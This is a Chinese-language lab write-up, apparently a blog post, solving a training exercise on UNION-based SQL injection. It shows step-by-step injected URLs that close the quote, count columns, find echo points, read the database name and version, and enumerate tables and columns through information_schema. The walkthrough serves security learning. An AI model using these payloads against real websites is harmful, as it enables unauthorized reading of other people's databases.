Lab4_ SQL injection attack, querying the database type and version on MySQL and Microsoft

前言:

实验室标题为

SQL 注入攻击,查询 MySQL 和 Microsoft 的数据库类型和版本

等级:执业者

简介:

本实验室的产品类别过滤器中存在 SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中获取结果。

要解决该实验室问题,请显示数据库版本字符串。

进入实验室

依旧是商店页面

尝试闭合

这里依旧使用谷歌插件 hackbar

使用单引号闭合,-- -注释,页面返回正常

https://xxxxxxxx/filter?category=Gifts' -- -

and 1=2 判断是否存在 SQL 注入

https://xxxxxx/filter?category=Gifts' and 1=2 -- -

页面返回空白

and 1=1 页面返回正常,and 1=2 页面返回空白,说明存在 SQL 注入

order by 排序

https://xxxxxxx/filter?category=Gifts' order by 2 -- -

order by 2,页面返回正常,说明有两列数据

联合查询

https://xxxxxxx/filter?category=Gifts' union select 1,2 -- -

页面存在回显点

查询库名,database()

https://xxxxxxx/filter?category=Gifts' union select database(),2 -- -

查询版本

https://xxxxxx/filter?category=Gifts' union select database(),version() -- -

成功通关

获取表名

products

https://xxxxxxx/filter?category=Gifts' and 1=2 union select table_name,version() from information_schema.tables where table_schema=database() limit 0,1 -- -

获取字段名

https://xxxxx/filter?category=Gifts' and 1=2 union select group_concat(column_name),version() from information_schema.columns where table_name='products' and table_schema=database() -- -

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值